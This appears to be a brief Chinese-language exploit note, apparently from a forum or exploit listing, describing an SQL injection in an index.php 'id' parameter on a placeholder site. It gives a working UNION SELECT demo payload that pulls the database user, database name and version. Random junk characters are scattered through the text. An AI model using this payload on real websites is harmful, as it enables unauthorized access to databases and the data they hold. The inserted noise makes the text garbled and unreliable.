利用方法:( k. C7 ^, p: S7 I. V6 y5 n
http://www.xxx.com/index.php?id=[SQL]; R3 @- i2 h, u; ~% Q
Demo:
7 r3 M9 x, T0 k8 Q- S, _. V- o http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |